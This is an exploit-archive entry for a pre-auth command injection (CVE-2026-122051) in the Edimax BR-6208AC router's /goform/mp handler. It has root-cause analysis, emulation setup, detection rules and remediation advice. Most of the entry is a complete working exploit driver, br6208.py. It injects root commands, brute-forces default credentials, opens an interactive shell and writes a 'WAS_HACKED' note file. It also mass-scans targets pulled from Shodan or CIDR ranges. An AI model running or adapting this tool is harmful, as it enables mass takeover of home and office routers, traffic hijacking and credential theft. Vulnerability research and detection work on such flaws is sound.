PoC Archive PoC Archive
CVE-2026-122051 category: network CVSS 10 (CRITICAL)
Unpatched

Edimax BR-6208AC `/goform/mp` Pre-Auth Command Injection (CVE-2026-122051)

Published: 2026-11-25 • Researcher: Carter LaSalle (carterlasalle, PoC and firmware emulation); Edimax (vendor; did not respond per NVD)

Target software Edimax BR-6208AC wireless router — Boa 0.94.14rc21 web server (bin/webs), RF-test handler /goform/mp
Affected versions Firmware ≤ 1.32 (NVD lists Edimax BR-6208AC 1.32; upstream also field-tested 1.03, 1.08, 1.10, 1.18 and 1.20 builds)
Status Weaponized
Severity Critical · CVSS 10
CVSS 10.0/10
Severity
Critical
CVE
CVE-2026-122051
Category
network
Affected product
Edimax BR-6208AC wireless router — Boa 0.94.14rc21 web server (bin/webs), RF-test handler /goform/mp
Affected versions
Firmware ≤ 1.32 (NVD lists Edimax BR-6208AC 1.32; upstream also field-tested 1.03, 1.08, 1.10, 1.18 and 1.20 builds)
Disclosed
2026-11-25
Patch status
Unpatched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-11-05
Author / ResearcherCarter LaSalle (carterlasalle, PoC and firmware emulation); Edimax (vendor; did not respond per NVD)
CVE / AdvisoryCVE-2026-122051
Categorynetwork
SeverityCritical
CVSS Score10.0 (per NVD / VulDB; full vector not supplied in the worklist — See references)
StatusWeaponized
Tagscommand-injection, RCE, Edimax, BR-6208AC, router, IoT, MIPS, Boa-webserver, unauthenticated, firmware
RelatedN/A

Affected Target

FieldValue
Software / SystemEdimax BR-6208AC wireless router — Boa 0.94.14rc21 web server (bin/webs), RF-test handler /goform/mp
Versions AffectedFirmware ≤ 1.32 (NVD lists Edimax BR-6208AC 1.32; upstream also field-tested 1.03, 1.08, 1.10, 1.18 and 1.20 builds)
Language / PlatformPython 3.9+ driver (stdlib only); target is 32-bit big-endian MIPS embedded Linux (Realtek platform) running the stripped webs binary
Authentication RequiredNo — unauthenticated when web auth is disabled; otherwise gated by HTTP Basic with the factory credential admin:1234
Network Access RequiredYes

Summary

CVE-2026-122051 is a command-injection flaw in the RF diagnostic handler /goform/mp of the Edimax BR-6208AC wireless router, affecting firmware 1.32 and earlier. The handler takes the command parameter, truncates it at the first semicolon, formats it into the string /bin/rftest.sh with output redirected to /tmp/rftest.out, and hands the result to system() as root. Because pipe characters, ampersands, backticks and command substitutions all survive that single filter, anyone who can reach the administration interface can execute arbitrary commands with root privileges. Where the device still ships the factory credentials admin:1234, or has web authentication disabled entirely, no credentials are needed at all.

Vulnerability Details

Root Cause

The vulnerability is in the mp() handler of the stripped Boa 0.94.14rc21 binary bin/webs (handler at 0x0044f9cc in the 1.32 build, dispatch entry /goform/mp at 0x0049b2c8). Decompilation shows the handler calls websGetVar(a1, "command", ""), then applies exactly one sanitisation step — strchr for 0x3b (;) and truncation of the string at that byte. The filtered value is then formatted with sprintf into a 504-byte stack buffer as /bin/rftest.sh %s > /tmp/rftest.out and passed to system(). At that point the shell has already interpreted |, &, backticks and $(), so the surviving metacharacters are sufficient for arbitrary command execution. The handler then reads /tmp/rftest.out back into the HTTP response, which conveniently returns the command output to the attacker.

Two additional design weaknesses compound the issue. First, the handler runs as root, so injected commands run with full device privileges. Second, auth_authorize() contains a /proc/uptime check intended to retire the RF-test page ten minutes after boot; in 1.32 the parsed value comes from an uninitialised register and is effectively always zero, so the page stays reachable indefinitely (verified at 93,398 s uptime). Authentication only falls through to HTTP Basic when the apmib “auth disabled” field is clear.

Attack Vector

An unauthenticated (or default-credential) attacker sends POST /goform/mp with a form body command=aa | <command>. The injected command must be the last element of the pipeline because the trailing > /tmp/rftest.out binds to it; multi-command input is split client-side into one request per command. The request must be sent without a Content-Type header — on live hardware and in the reference emulation, a Content-Type: application/x-www-form-urlencoded header causes Boa 0.94 to hang without answering, which is why naive probes report the fleet as dead. The endpoint answers on whatever port the admin UI uses (80, 8080, 8000 and 443 are tried by default). GET /goform/mp returns 404; only POST reaches the handler.

Impact

Remote code execution as root on the internet gateway. The upstream field notes list the practical post-exploitation surface: rewriting /etc/resolv.conf and the dnrd configuration to hijack DNS for every LAN client, adding iptables DNAT rules to expose internal hosts, steering traffic with tc, reading the apmib store for Wi-Fi PSK and ISP/PPPoE credentials, and persisting through flash set. In short, a compromised device yields the whole home or small-office network — traffic interception, credential theft and a durable foothold.

Environment / Lab Setup

Output
OS:          Linux amd64 host with Docker (any host with qemu-user for MIPS
             big-endian also works); firmware unpacking can be done natively
Target:      Edimax BR-6208AC firmware 1.32, bin/webs run under
             qemu-mips-static in a chroot, listening on 127.0.0.1:8098
Attacker:    Python 3.9+ (stdlib only), same host or LAN
Tools:       curl, unzip, squashfs-tools (unsquashfs), qemu-user-static,
             binfmt-support, Docker, Ghidra (optional, for the decompilation)

Setup Steps

Shell script
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
curl -LO https://download.edimax.com/mw/cufiles/files/download/Firmware/BR-6208AC_1.32.zip
unzip BR-6208AC_1.32.zip                     # BR-6208AC_1.32.bin, ~3.9 MB

dd if=BR-6208AC_1.32.bin of=root.sqfs bs=1 skip=$((0x120000))
unsquashfs -d root root.sqfs                 # root/bin/webs is the Boa binary

python3 - <<'PY'
cfg = open('root/etc/config.bin','rb').read()
dev = bytearray(0x180000)
dev[0x6000:0x6000+len(cfg)] = cfg
open('/tmp/fake_mtd.bin','wb').write(dev)
PY

docker run -d --privileged --name websemu -p 8098:80 \
  -v "$PWD/root:/rootfs" -v /tmp/fake_mtd.bin:/fake.bin \
  debian:bookworm-slim sh -c '
    apt-get -qq update && apt-get -qq install -y qemu-user-static binfmt-support
    update-binfmts --enable qemu-mips
    cp /usr/bin/qemu-mips-static /rootfs/
    mount --bind /dev /rootfs/dev
    cp /fake.bin /rootfs/dev/mtdblock0
    mount -t proc proc /rootfs/proc
    chroot /rootfs /qemu-mips-static /bin/webs -d'

curl -s -X POST --data-binary 'command=aa|echo BR6208MK4417' http://127.0.0.1:8098/goform/mp

Without binfmt_misc the Boa server starts but every system() call fails silently, because the MIPS /bin/sh cannot be exec’d — this is the most common reason a lab reproduction shows no command output.

Proof of Concept

Step-by-Step Reproduction

  1. Stand up the emulated target — unpack firmware 1.32, carve the SquashFS, synthesise /dev/mtdblock0 from etc/config.bin, and run bin/webs under qemu-mips-static -d on port 8098 (see Setup Steps above).
  2. Confirm the handler answers — POST the marker command aa|echo BR6208MK4417 with no Content-Type header. A 200 response containing the marker between </font><br> and </body> means the handler is reachable and the injected pipeline executed.
  3. Inject the command — aa | <cmd>. The aa is discarded by the pipeline, the trailing > /tmp/rftest.out applies to <cmd>, and the handler echoes the captured file back in the response.
  4. Read the privilege context — run id and cat /etc/version to confirm root execution and the firmware build.
  5. Run the driver end to end — point br6208.py at the emulated service; it negotiates port/TLS/credentials, executes the command set, optionally writes and verifies the marker file, and can drop into an interactive shell.
Shell script
1
2
3
4
5
6
7
curl -s -X POST --data-binary 'command=aa|id' http://127.0.0.1:8098/goform/mp

./br6208.py --ip 127.0.0.1 --ports 8098 --exec 'id; uname -a; cat /etc/version'

./br6208.py --ip 127.0.0.1 --ports 8098 --note --verify

./br6208.py --ip 192.168.2.1 --note --verify --shell

Exploit Code

See br6208.py in this folder — the upstream single-file driver (transport, credential negotiation, execution, discovery). The firmware-lab recipe is in emulation.md and the decompilation/auth analysis in field-notes.md.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import http.client, html, re, urllib.parse

HOST, PORT = "127.0.0.1", 8098
payload = "aa | id"                      # ';' is truncated; use '|', '&', ``, $()
body = urllib.parse.urlencode({"command": payload, "getID": ""}).encode()

c = http.client.HTTPConnection(HOST, PORT, timeout=8)
c.request("POST", "/goform/mp", body=body,
          headers={"Content-Length": str(len(body)), "Connection": "close"})
out = c.getresponse().read().decode("utf-8", "replace")
m = re.search(r"</font><br>\s*(.*?)</body>", out, re.S)
print(html.unescape(m.group(1)) if m else out[:400])

Expected Output

Output
1
uid=0(root) gid=0(root)
Output
1
2
3
4
5
6
up: 127.0.0.1:8098 tls=False auth=''
note: written
-rw------- 1 0 0 120 /tmp/PLEASE_UPDATE_EDIMAX_WAS_HACKED.txt
uid=0(root) gid=0(root)
Linux ... mips unknown
1.32

Detection & Indicators of Compromise

  • HTTP requests to /goform/mp — a page that normally only receives POST and returns 404 to GET; any occurrence in a reverse-proxy or router access log is suspicious.
  • A command parameter containing shell metacharacters (|, &, backtick, $(), the literal prefix aa |, or the marker strings the driver uses (for example BR6208MK4417).
  • POST bodies to /goform/mp carrying no Content-Type header — legitimate vendor tooling is rare, and this exact quirk is the driver’s signature.
  • Creation or reading of /tmp/rftest.out outside a genuine RF test, and the appearance of /tmp/PLEASE_UPDATE_EDIMAX_WAS_HACKED.txt.
  • Post-exploitation artifacts: modified /etc/resolv.conf or dnrd configuration, unexpected iptables DNAT rules, tc qdisc changes, flash set persistence writes.
  • Outbound connections from the router to unfamiliar hosts, or DNS answers for LAN clients pointing at infrastructure the operator does not own.
Output
1
2
203.0.113.9 - - [05/Nov/2026:14:02:11] "POST /goform/mp HTTP/1.0" 200 -
203.0.113.9 - - [05/Nov/2026:14:02:19] "POST /goform/mp HTTP/1.0" 200 -

SIEM / IDS rule (example):

Output
1
2
3
4
alert http any any -> any any (msg:"Edimax BR-6208AC /goform/mp command injection"; \
  flow:to_server,established; content:"/goform/mp"; http_uri; \
  content:"command="; http_client_body; \
  pcre:"/(\|)|(%7C)|\$\(|`/i"; sid:9002611; rev:1;)

Remediation

ActionDetail
PatchNo fixed firmware has been published: NVD records that the vendor was contacted early and did not respond, and firmware 1.32 is the last known affected release. Treat the device as unpatchable and replace it or retire it from the network — See references.
WorkaroundChange the factory admin:1234 password (auth-enabled devices with a changed password were not reachable via this handler in upstream testing), and never run the unit with web authentication disabled. Disable remote/WAN management of the web UI.
Config HardeningRestrict the administration interface to a trusted management VLAN or specific source hosts, block /goform/mp at any fronting proxy or WAF, place IoT/gateway devices on a segmented network with no path to management planes, and monitor router logs and DNS behaviour for tampering.

References

Notes

Auto-ingested from https://github.com/carterlasalle/CVE-2026-122051 on 2026-11-25.

Review verdict: this is a working exploit driver, not a detector. br6208.py performs the command injection end to end (aa | <cmd> into /goform/mp), reads the command output back out of the handler’s echo block, supports one-shot --exec and an interactive --shell, and can write and verify a marker file on the device. The repository also bundles bulk discovery (--check, --cidr, --discover) and marker-echo probing, but those are convenience wrappers around a genuine RCE primitive, so the entry is recorded as Weaponized rather than skipped. Status is Weaponized because the upstream lab proof is root command execution against the shipping 1.32 firmware binary under qemu, with the decompilation and the exact request shape documented.

License: MIT, Copyright (c) 2026 Carter LaSalle; LICENSE is included with the archived files.

Limitations and cautions: the exploit requires network reachability to the administration interface and, on auth-enabled units that have had their password changed, is not reachable at all. Requests must be sent without a Content-Type header or Boa 0.94 may hang without answering, and the sprintf target is a 504-byte stack buffer, so injected command lines must stay short. The reproduction here is the emulation path only; the upstream README also documents field results against live third-party devices, which this archive does not endorse or reproduce — use the emulation recipe, or your own hardware, under written authorization. No exploit code was executed during ingestion. Files emulation.md and field-notes.md are the upstream docs/ pages, flattened to this directory; the repository’s CI lint workflow and .gitignore were not copied as they are not exploit-relevant.

br6208.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/carterlasalle/CVE-2026-122051 (see README for attribution/license)
"""br6208 — CVE-2026-122051: Edimax BR-6208AC /goform/mp unauth command injection.

bin/webs (Boa/0.94.14rc21) does, verbatim:
    Var = websGetVar(a1, "command", "");
    if ((p = strchr(Var, ';'))) *p = 0;          /* ';' truncates */
    sprintf(buf, "/bin/rftest.sh %s > /tmp/rftest.out", Var);
    system(buf);
    /* reads /tmp/rftest.out back into the response */
`|`, `&`, backticks and `$()` survive; stdout is echoed between
<font color="red"> and </font>.  Auth is Basic only (default admin:1234) and
is skipped entirely when the box has auth disabled.

Point it at one host; it negotiates port/TLS/credentials itself, retries,
keeps the working session and drops into a shell.

    ./br6208.py --ip 1.2.3.4 --shell
    ./br6208.py --ip 1.2.3.4 --exec 'id; uname -a'
    ./br6208.py --ip 1.2.3.4 --note --verify
    SHODAN_API_KEY=... ./br6208.py --discover --check
"""
import argparse, base64, html, json, os, re, ssl, sys, threading, time, urllib.parse, urllib.request
from concurrent.futures import ThreadPoolExecutor

UA = "Mozilla/5.0 (X11; Linux x86_64; rv:135.0) Gecko/20100101 Firefox/135.0"
MARK = "BR6208MK4417"
OUT_RE = re.compile(r'</font><br>\s*(.*?)</body>', re.S)
VER_RE = re.compile(r'(?:V|ver\.?|Version\s*:?\s*)(\d+\.\d+)', re.I)
NOTE_PATH = "/tmp/PLEASE_UPDATE_EDIMAX_WAS_HACKED.txt"
NOTE = ("EDIMAX BR-6208AC WAS HACKED via CVE-2026-122051 (/goform/mp pre-auth RCE). "
        "Update the firmware. at=%s")
AUTHS = ["", "admin:1234", "admin:admin", "admin:", "root:1234", "admin:password", "root:admin", "admin:edimax"]
PORTS = [80, 8080, 8000, 443]
CTX = ssl._create_unverified_context()


class NoRetry(urllib.request.HTTPRedirectHandler):
    """Keep 302 visible so we can tell 'alive' from 'missing'."""
    def redirect_request(self, *a, **kw):
        return None


OPENER = urllib.request.build_opener(NoRetry)


def split_target(t):
    h, _, p = t.rpartition(":")
    return (h, int(p)) if h and p.isdigit() else (t, 80)


def req(host, port, path, data=None, timeout=8, auth=None, tls=False):
    # NOTE: Boa 0.94 hangs when a POST carries Content-Type:
    # application/x-www-form-urlencoded on some builds, so we send the body
    # with no Content-Type at all (verified against live BR-6208AC-family).
    import http.client
    h = "[%s]" % host if ":" in host else host
    if tls:
        c = http.client.HTTPSConnection(h, port, timeout=timeout, context=CTX)
    else:
        c = http.client.HTTPConnection(h, port, timeout=timeout)
    headers = {"User-Agent": UA, "Connection": "close"}
    if auth:
        headers["Authorization"] = "Basic " + base64.b64encode(auth.encode()).decode()
    body = urllib.parse.urlencode(data).encode() if data is not None else None
    if body is not None:
        headers["Content-Length"] = str(len(body))
    try:
        c.request("POST" if body is not None else "GET", path, body=body, headers=headers)
        r = c.getresponse()
        return r.status, r.read(200000).decode("utf-8", "replace")
    finally:
        c.close()


def run(host, port, cmd, auth="", tls=False, timeout=12):
    # `;` truncates in the handler, so callers pass one command; stdout of the
    # last pipeline element is what lands in /tmp/rftest.out and gets echoed.
    payload = "aa | %s" % cmd
    try:
        st, body = req(host, port, "/goform/mp", {"command": payload, "getID": ""}, timeout, auth, tls)
    except Exception as e:
        return None, "err:%s" % type(e).__name__
    m = OUT_RE.search(body)
    if not m:
        if MARK in body:                      # template variant: no output block
            return MARK, "ok"
        return None, {200: "no-echo", 401: "401", 302: "302"}.get(st, str(st))
    txt = html.unescape(m.group(1)).replace("<br>", "\n").replace("&nbsp;", " ")
    txt = re.sub(r"<[^>]+>", "", txt)
    return txt.strip(), "ok"


class Session:
    """Negotiated access: finds port/TLS/auth that works once, then reuses it."""

    def __init__(self, host, ports, auths, tls=True):
        self.host, self.ports, self.auths, self.try_tls = host, ports, auths, tls
        self.port = self.tls = self.auth = None
        self.last_reason = "unreachable"

    def probe(self):
        """Alive = the handler echoes our marker (GET may 404 on real firmware)."""
        for port in self.ports:
            for tls in ([False, True] if self.try_tls else [False]):
                out, why = run(self.host, port, "echo %s" % MARK, "", tls)
                if why in ("ok", "401", "302"):
                    self.port, self.tls = port, tls
                    return True
                self.last_reason = why
        return False

    def negotiate(self):
        """Find credentials (if any) by echoing a marker; caches the winner."""
        if self.port is None and not self.probe():
            return False
        out, why = run(self.host, self.port, "echo %s" % MARK, "", self.tls)
        if why == "ok" and MARK in (out or ""):
            self.auth = ""
            return True
        order = [self.port] + [p for p in self.ports if p != self.port]
        for port in order:
            for auth in self.auths:
                for _ in range(2):
                    out, why = run(self.host, port, "echo %s" % MARK, auth, self.tls)
                    if MARK in (out or ""):
                        self.port, self.auth = port, auth
                        return True
                    if why.startswith("err:") and port == self.port:
                        time.sleep(1); continue
                    break
        return False

    def exec_many(self, cmd, timeout=20):
        outs = []
        for part in [c.strip() for c in cmd.split(";") if c.strip()]:
            out, why = self.exec(part, timeout)
            if why != "ok":
                return None, why
            outs.append(out)
        return "\n".join(outs), "ok"

    def exec(self, cmd, timeout=20):
        if self.port is None and not self.negotiate():
            return None, "not-vulnerable (%s)" % self.last_reason
        for _ in range(2):
            out, why = run(self.host, self.port, cmd, self.auth or "", self.tls, timeout)
            if why == "ok":
                return out, "ok"
            time.sleep(1)
        return None, why


def version_of(s):
    try:
        _, body = req(s.host, s.port or 80, "/goform/mp", timeout=6, auth=s.auth or "", tls=s.tls or False)
        m = VER_RE.search(body)
        return m.group(1) if m else None
    except Exception:
        return None


def one(target, args):
    host, port = split_target(target)
    s = Session(host, [port], args.auth_list, args.tls)
    if not s.negotiate():
        return {"host": host, "port": int(p or 0), "vuln": False, "reason": s.last_reason}
    r = {"host": host, "port": s.port, "tls": s.tls, "vuln": True, "auth": s.auth,
         "version": version_of(s)}
    r["id"], _ = s.exec_many("id; uname -a; cat /etc/version 2>/dev/null; cat /proc/version")
    if args.exec:
        r["exec"], _ = s.exec_many(args.exec)
    if args.note:
        out, _ = s.exec("echo '%s' > %s && echo WROTE" % (NOTE % time.strftime("%FT%TZ", time.gmtime()), NOTE_PATH))
        r["note"] = bool(out and "WROTE" in out)
    return r


def shodan(key, pages):
    hosts = set()
    for q in ('product:Edimax', 'http.title:Edimax', 'http.html:goform/mp', 'http.html:rftest'):
        for page in range(1, pages + 1):
            url = "https://api.shodan.io/shodan/host/search?" + urllib.parse.urlencode(
                {"key": key, "query": q, "minify": "true", "page": page})
            try:
                with urllib.request.urlopen(url, timeout=25) as r:
                    d = json.load(r)
            except Exception as e:
                print("shodan %s p%d: %s" % (q, page, e)); break
            ms = d.get("matches", [])
            for m in ms:
                hosts.add("%s:%d" % (m["ip_str"], m["port"]))
            if len(ms) < 100:
                break
    return sorted(hosts)


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--ip"); ap.add_argument("--targets"); ap.add_argument("--cidr")
    ap.add_argument("--check", action="store_true", help="batch mode over --targets/--cidr/--discover")
    ap.add_argument("--discover", action="store_true"); ap.add_argument("--pages", type=int, default=3)
    ap.add_argument("--ports", default="80,8080")
    ap.add_argument("--no-tls", dest="tls", action="store_false")
    ap.add_argument("--auth", help="extra user:pass[,user:pass]")
    ap.add_argument("--exec"); ap.add_argument("--shell", action="store_true")
    ap.add_argument("--note", action="store_true"); ap.add_argument("--verify", action="store_true")
    ap.add_argument("--workers", type=int, default=48)
    ap.add_argument("--out", default="br6208.jsonl")
    args = ap.parse_args()

    args.port_list = [int(p) for p in args.ports.split(",")]
    args.auth_list = (args.auth.split(",") if args.auth else []) + AUTHS

    if args.ip:
        s = Session(args.ip, args.port_list, args.auth_list, args.tls)
        if not s.negotiate():
            sys.exit("not vulnerable: %s" % s.last_reason)
        print("up: %s:%d tls=%s auth=%r" % (s.host, s.port, s.tls, s.auth))
        if args.note:
            out, _ = s.exec("echo '%s' > %s && echo WROTE" % (NOTE % time.strftime("%FT%TZ", time.gmtime()), NOTE_PATH))
            print("note:", "written" if out and "WROTE" in out else "failed")
        if args.verify:
            print(s.exec("ls -l %s; cat %s" % (NOTE_PATH, NOTE_PATH))[0])
        if args.exec:
            print(s.exec_many(args.exec)[0])
        if args.shell:
            while True:
                try:
                    c = input("$ ")
                except EOFError:
                    break
                if c.strip() in ("exit", "quit"):
                    break
                out, why = s.exec(c)
                print(out if out is not None else "<%s>" % why)
        if args.exec or args.note or args.shell or args.verify:
            return

    tgt = []
    if args.targets:
        tgt += [l.strip() for l in open(args.targets) if l.strip() and not l.startswith("#")]
    if args.cidr:
        import ipaddress
        tgt += ["%s:%d" % (ip, p) for ip in ipaddress.ip_network(args.cidr, strict=False).hosts()
                for p in args.port_list]
    if args.discover:
        key = os.environ.get("SHODAN_API_KEY")
        if not key:
            sys.exit("set SHODAN_API_KEY")
        tgt += shodan(key, args.pages)
    tgt = list(dict.fromkeys(tgt))
    if not tgt:
        sys.exit("no targets")

    hits = 0
    lock = threading.Lock()
    with open(args.out, "a") as fh, ThreadPoolExecutor(args.workers) as ex:
        def safe(t):
            try:
                return one(t, args)
            except Exception as e:
                return {"host": t, "vuln": False, "reason": "err:%s" % e}
        for r in ex.map(safe, tgt):
            if not r.get("vuln"):
                continue
            with lock:
                hits += 1
                fh.write(json.dumps(dict(r, ts=time.strftime("%FT%TZ", time.gmtime()))) + "\n"); fh.flush()
                print("VULN %s:%s auth=%r ver=%s %s" % (r["host"], r["port"], r["auth"], r.get("version"),
                                                      (r.get("id") or "").replace("\n", " / ")))
                if r.get("exec"):
                    print("  exec:", (r["exec"] or "").replace("\n", "\n        "))
    print("vulnerable: %d/%d" % (hits, len(tgt)))


if __name__ == "__main__":
    main()